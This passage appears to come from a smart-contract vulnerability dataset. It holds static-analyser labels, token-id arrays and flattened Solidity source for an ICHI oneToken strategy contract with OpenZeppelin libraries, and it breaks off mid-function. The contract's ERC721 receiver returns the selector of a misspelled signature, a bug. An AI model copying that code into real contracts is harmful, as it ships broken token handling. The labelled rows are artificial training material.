"Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'weak-prng', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
27009,
26337,
2620,
11387,
22203,
2620,
20958,
2497,
2549,
2063,
20958,
17788,
2575,
2850,
2620,
2050,
24434,
2278,
2581,
23352,
2692,
20952,
21486,
2094,
2575,
2063,
2692,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
14246,
2140,
1011,
1017,
1012,
1014,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
3206,
11486,
8663,
12693,
3215,
1063,
1013,
1013,
6263,
2193,
1997,
19204,
2015,
1999,
2019,
5950,
1012,
21318,
3372,
17788,
2575,
2270,
5377,
8117,
1035,
5950,
1035,
2946,
1027,
1016,
1025,
1013,
1013,
4555,
2193,
1997,
19204,
2015,
1999,
2019,
5950,
1012,
21318,
3372,
17788,
2575,
2270,
5377,
4098,
1035,
5950,
1035,
2946,
1027,
2184,
1025,
1013,
1013,
6263,
5703,
2005,
1037,
19204,
1006,
2069,
4162,
2012,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,538 | 0x95507Fc832609db0c8c18235800b4f6172942c6d | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
import "../StrategyCommon.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract ArbitraryV3 is StrategyCommon, IERC1155Receiver, IERC721Receiver{
/**
@notice a strategy is dedicated to exactly one oneToken instance
@param oneTokenFactory_ bind this instance to oneTokenFactory instance
@param oneToken_ bind this instance to one oneToken vault
@param description_ metadata has no impact on logic
*/
constructor(address oneTokenFactory_, address oneToken_, string memory description_)
StrategyCommon(oneTokenFactory_, oneToken_, description_)
{}
/**
@notice Governance can work with collateral and treasury assets. Can swap assets.
@param target address/smart contract you are interacting with
@param value msg.value (amount of eth in WEI you are sending. Most of the time it is 0)
@param signature the function signature
@param data abi-encodeded bytecode of the parameter values to send
*/
function executeTransaction(address target, uint256 value, string memory signature, bytes memory data) external onlyOwner returns (bytes memory) {
bytes memory callData;
if (bytes(signature).length == 0) {
callData = data;
} else {
callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data);
}
// solium-disable-next-line security/no-call-value
(bool success, bytes memory returnData) = target.call{ value: value }(callData);
require(success, "OneTokenV1::executeTransaction: Transaction execution reverted.");
return returnData;
}
function onERC1155Received(address, address, uint256, uint256, bytes calldata) external pure override returns (bytes4) {
return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"));
}
function onERC1155BatchReceived(address, address, uint256[] calldata, uint256[] calldata, bytes calldata) external pure override returns (bytes4) {
return bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"));
}
function onERC721Received(address, address, uint256, bytes memory) external pure override returns (bytes4) {
return bytes4(keccak256("oneERC721Received(address,address,uint256,bytes)"));
}
function supportsInterface(bytes4 interfaceId) external view virtual override returns (bool) {
return
interfaceId == type(IERC1155Receiver).interfaceId ||
interfaceId == type(IERC165).interfaceId ||
interfaceId == type(IERC721Receiver).interfaceId;
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
import "../interface/IOneTokenFactory.sol";
import "../interface/IStrategy.sol";
import "../interface/IOneTokenV1Base.sol";
import "../_openzeppelin/token/ERC20/IERC20.sol";
import "../_openzeppelin/token/ERC20/SafeERC20.sol";
import "../common/ICHIModuleCommon.sol";
abstract contract StrategyCommon is IStrategy, ICHIModuleCommon {
using SafeERC20 for IERC20;
address public override oneToken;
bytes32 constant public override MODULE_TYPE = keccak256(abi.encodePacked("ICHI V1 Strategy Implementation"));
event StrategyDeployed(address sender, address oneTokenFactory, address oneToken_, string description);
event StrategyInitialized(address sender);
event StrategyExecuted(address indexed sender, address indexed token);
event VaultAllowance(address indexed sender, address indexed token, uint256 amount);
event FromVault(address indexed sender, address indexed token, uint256 amount);
event ToVault(address indexed sender, address indexed token, uint256 amount);
modifier onlyToken {
require(msg.sender == oneToken, "StrategyCommon: initialize from oneToken instance");
_;
}
/**
@dev oneToken governance has privileges that may be delegated to a controller
*/
modifier strategyOwnerTokenOrController {
if(msg.sender != oneToken) {
if(msg.sender != IOneTokenV1Base(oneToken).controller()) {
require(msg.sender == IOneTokenV1Base(oneToken).owner(), "StrategyCommon: not token controller or owner.");
}
}
_;
}
/**
@notice a strategy is dedicated to exactly one oneToken instance
@param oneTokenFactory_ bind this instance to oneTokenFactory instance
@param oneToken_ bind this instance to one oneToken vault
@param description_ metadata has no impact on logic
*/
constructor(address oneTokenFactory_, address oneToken_, string memory description_)
ICHIModuleCommon(oneTokenFactory_, ModuleType.Strategy, description_)
{
require(oneToken_ != NULL_ADDRESS, "StrategyCommon: oneToken cannot be NULL");
require(IOneTokenFactory(IOneTokenV1Base(oneToken_).oneTokenFactory()).isOneToken(oneToken_), "StrategyCommon: oneToken is unknown");
oneToken = oneToken_;
emit StrategyDeployed(msg.sender, oneTokenFactory_, oneToken_, description_);
}
/**
@notice a strategy is dedicated to exactly one oneToken instance and must be re-initializable
*/
function init() external onlyToken virtual override {
IERC20(oneToken).safeApprove(oneToken, 0);
IERC20(oneToken).safeApprove(oneToken, INFINITE);
emit StrategyInitialized(oneToken);
}
/**
@notice a controller invokes execute() to trigger automated logic within the strategy.
@dev called from oneToken governance or the active controller. Overriding function should emit the event.
*/
function execute() external virtual strategyOwnerTokenOrController override {
// emit StrategyExecuted(msg.sender, oneToken);
}
/**
@notice gives the oneToken control of tokens deposited in the strategy
@dev called from oneToken governance or the active controller
@param token the asset
@param amount the allowance. 0 = infinte
*/
function setAllowance(address token, uint256 amount) external strategyOwnerTokenOrController override {
if(amount == 0) amount = INFINITE;
IERC20(token).safeApprove(oneToken, 0);
IERC20(token).safeApprove(oneToken, amount);
emit VaultAllowance(msg.sender, token, amount);
}
/**
@notice closes all positions and returns the funds to the oneToken vault
@dev override this function to withdraw funds from external contracts. Return false if any funds are unrecovered.
*/
function closeAllPositions() external virtual strategyOwnerTokenOrController override returns(bool success) {
success = _closeAllPositions();
}
/**
@notice closes all positions and returns the funds to the oneToken vault
@dev override this function to withdraw funds from external contracts. Return false if any funds are unrecovered.
*/
function _closeAllPositions() internal virtual returns(bool success) {
uint256 assetCount;
success = true;
assetCount = IOneTokenV1Base(oneToken).assetCount();
for(uint256 i=0; i < assetCount; i++) {
address thisAsset = IOneTokenV1Base(oneToken).assetAtIndex(i);
closePositions(thisAsset);
}
}
/**
@notice closes token positions and returns the funds to the oneToken vault
@dev override this function to redeem and withdraw related funds from external contracts. Return false if any funds are unrecovered.
@param token asset to recover
@param success true, complete success, false, 1 or more failed operations
*/
function closePositions(address token) public strategyOwnerTokenOrController override virtual returns(bool success) {
// this naive process returns funds on hand.
// override this to explicitly close external positions and return false if 1 or more positions cannot be closed at this time.
success = true;
uint256 strategyBalance = IERC20(token).balanceOf(address(this));
if(strategyBalance > 0) {
_toVault(token, strategyBalance);
}
}
/**
@notice let's the oneToken controller instance send funds to the oneToken vault
@dev implementations must close external positions and return all related assets to the vault
@param token the ecr20 token to send
@param amount the amount of tokens to send
*/
function toVault(address token, uint256 amount) external strategyOwnerTokenOrController override {
_toVault(token, amount);
}
/**
@notice close external positions send all related funds to the oneToken vault
@param token the ecr20 token to send
@param amount the amount of tokens to send
*/
function _toVault(address token, uint256 amount) internal {
IERC20(token).safeTransfer(oneToken, amount);
emit ToVault(msg.sender, token, amount);
}
/**
@notice let's the oneToken controller instance draw funds from the oneToken vault allowance
@param token the ecr20 token to send
@param amount the amount of tokens to send
*/
function fromVault(address token, uint256 amount) external strategyOwnerTokenOrController override {
_fromVault(token, amount);
}
/**
@notice draw funds from the oneToken vault
@param token the ecr20 token to send
@param amount the amount of tokens to send
*/
function _fromVault(address token, uint256 amount) internal {
IERC20(token).safeTransferFrom(oneToken, address(this), amount);
emit FromVault(msg.sender, token, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../introspection/IERC165.sol";
/**
* _Available since v3.1._
*/
interface IERC1155Receiver is IERC165 {
/**
@dev Handles the receipt of a single ERC1155 token type. This function is
called at the end of a `safeTransferFrom` after the balance has been updated.
To accept the transfer, this must return
`bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))`
(i.e. 0xf23a6e61, or its own function selector).
@param operator The address which initiated the transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param id The ID of the token being transferred
@param value The amount of tokens being transferred
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 value,
bytes calldata data
)
external
returns(bytes4);
/**
@dev Handles the receipt of a multiple ERC1155 token types. This function
is called at the end of a `safeBatchTransferFrom` after the balances have
been updated. To accept the transfer(s), this must return
`bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))`
(i.e. 0xbc197c81, or its own function selector).
@param operator The address which initiated the batch transfer (i.e. msg.sender)
@param from The address which previously owned the token
@param ids An array containing ids of each token being transferred (order and length must match values array)
@param values An array containing amounts of each token being transferred (order and length must match ids array)
@param data Additional data with no specified format
@return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] calldata ids,
uint256[] calldata values,
bytes calldata data
)
external
returns(bytes4);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4);
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
pragma abicoder v2;
import "./InterfaceCommon.sol";
interface IOneTokenFactory is InterfaceCommon {
function oneTokenProxyAdmins(address) external returns(address);
function deployOneTokenProxy(
string memory name,
string memory symbol,
address governance,
address version,
address controller,
address mintMaster,
address memberToken,
address collateral,
address oneTokenOracle
)
external
returns(address newOneTokenProxy, address proxyAdmin);
function admitModule(address module, ModuleType moduleType, string memory name, string memory url) external;
function updateModule(address module, string memory name, string memory url) external;
function removeModule(address module) external;
function admitForeignToken(address foreignToken, bool collateral, address oracle) external;
function updateForeignToken(address foreignToken, bool collateral) external;
function removeForeignToken(address foreignToken) external;
function assignOracle(address foreignToken, address oracle) external;
function removeOracle(address foreignToken, address oracle) external;
/**
* View functions
*/
function MODULE_TYPE() external view returns(bytes32);
function oneTokenCount() external view returns(uint256);
function oneTokenAtIndex(uint256 index) external view returns(address);
function isOneToken(address oneToken) external view returns(bool);
// modules
function moduleCount() external view returns(uint256);
function moduleAtIndex(uint256 index) external view returns(address module);
function isModule(address module) external view returns(bool);
function isValidModuleType(address module, ModuleType moduleType) external view returns(bool);
// foreign tokens
function foreignTokenCount() external view returns(uint256);
function foreignTokenAtIndex(uint256 index) external view returns(address);
function foreignTokenInfo(address foreignToken) external view returns(bool collateral, uint256 oracleCount);
function foreignTokenOracleCount(address foreignToken) external view returns(uint256);
function foreignTokenOracleAtIndex(address foreignToken, uint256 index) external view returns(address);
function isOracle(address foreignToken, address oracle) external view returns(bool);
function isForeignToken(address foreignToken) external view returns(bool);
function isCollateral(address foreignToken) external view returns(bool);
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
import "./IModule.sol";
interface IStrategy is IModule {
function init() external;
function execute() external;
function setAllowance(address token, uint256 amount) external;
function toVault(address token, uint256 amount) external;
function fromVault(address token, uint256 amount) external;
function closeAllPositions() external returns(bool);
function closePositions(address token) external returns(bool success);
function oneToken() external view returns(address);
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
import "./IICHICommon.sol";
import "./IERC20Extended.sol";
interface IOneTokenV1Base is IICHICommon, IERC20 {
function init(string memory name_, string memory symbol_, address oneTokenOracle_, address controller_, address mintMaster_, address memberToken_, address collateral_) external;
function changeController(address controller_) external;
function changeMintMaster(address mintMaster_, address oneTokenOracle) external;
function addAsset(address token, address oracle) external;
function removeAsset(address token) external;
function setStrategy(address token, address strategy, uint256 allowance) external;
function executeStrategy(address token) external;
function removeStrategy(address token) external;
function closeStrategy(address token) external;
function increaseStrategyAllowance(address token, uint256 amount) external;
function decreaseStrategyAllowance(address token, uint256 amount) external;
function setFactory(address newFactory) external;
function MODULE_TYPE() external view returns(bytes32);
function oneTokenFactory() external view returns(address);
function controller() external view returns(address);
function mintMaster() external view returns(address);
function memberToken() external view returns(address);
function assets(address) external view returns(address, address);
function balances(address token) external view returns(uint256 inVault, uint256 inStrategy);
function collateralTokenCount() external view returns(uint256);
function collateralTokenAtIndex(uint256 index) external view returns(address);
function isCollateral(address token) external view returns(bool);
function otherTokenCount() external view returns(uint256);
function otherTokenAtIndex(uint256 index) external view returns(address);
function isOtherToken(address token) external view returns(bool);
function assetCount() external view returns(uint256);
function assetAtIndex(uint256 index) external view returns(address);
function isAsset(address token) external view returns(bool);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "./IERC20.sol";
import "../../math/SafeMath.sol";
import "../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
import "../interface/IModule.sol";
import "../interface/IOneTokenFactory.sol";
import "../interface/IOneTokenV1Base.sol";
import "./ICHICommon.sol";
abstract contract ICHIModuleCommon is IModule, ICHICommon {
ModuleType public immutable override moduleType;
string public override moduleDescription;
address public immutable override oneTokenFactory;
event ModuleDeployed(address sender, ModuleType moduleType, string description);
event DescriptionUpdated(address sender, string description);
modifier onlyKnownToken {
require(IOneTokenFactory(oneTokenFactory).isOneToken(msg.sender), "ICHIModuleCommon: msg.sender is not a known oneToken");
_;
}
modifier onlyTokenOwner (address oneToken) {
require(msg.sender == IOneTokenV1Base(oneToken).owner(), "ICHIModuleCommon: msg.sender is not oneToken owner");
_;
}
modifier onlyModuleOrFactory {
if(!IOneTokenFactory(oneTokenFactory).isModule(msg.sender)) {
require(msg.sender == oneTokenFactory, "ICHIModuleCommon: msg.sender is not module owner, token factory or registed module");
}
_;
}
/**
@notice modules are bound to the factory at deployment time
@param oneTokenFactory_ factory to bind to
@param moduleType_ type number helps prevent governance errors
@param description_ human-readable, descriptive only
*/
constructor (address oneTokenFactory_, ModuleType moduleType_, string memory description_) {
require(oneTokenFactory_ != NULL_ADDRESS, "ICHIModuleCommon: oneTokenFactory cannot be empty");
require(bytes(description_).length > 0, "ICHIModuleCommon: description cannot be empty");
oneTokenFactory = oneTokenFactory_;
moduleType = moduleType_;
moduleDescription = description_;
emit ModuleDeployed(msg.sender, moduleType_, description_);
}
/**
@notice set a module description
@param description new module desciption
*/
function updateDescription(string memory description) external onlyOwner override {
require(bytes(description).length > 0, "ICHIModuleCommon: description cannot be empty");
moduleDescription = description;
emit DescriptionUpdated(msg.sender, description);
}
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
pragma abicoder v2;
interface InterfaceCommon {
enum ModuleType { Version, Controller, Strategy, MintMaster, Oracle }
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
import "./IICHICommon.sol";
import "./InterfaceCommon.sol";
interface IModule is IICHICommon {
function oneTokenFactory() external view returns(address);
function updateDescription(string memory description) external;
function moduleDescription() external view returns(string memory);
function MODULE_TYPE() external view returns(bytes32);
function moduleType() external view returns(ModuleType);
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
import "./IICHIOwnable.sol";
import "./InterfaceCommon.sol";
interface IICHICommon is IICHIOwnable, InterfaceCommon {}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
interface IICHIOwnable {
function renounceOwnership() external;
function transferOwnership(address newOwner) external;
function owner() external view returns (address);
}
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
import "../_openzeppelin/token/ERC20/IERC20.sol";
interface IERC20Extended is IERC20 {
function decimals() external view returns(uint8);
function symbol() external view returns(string memory);
function name() external view returns(string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2 <0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
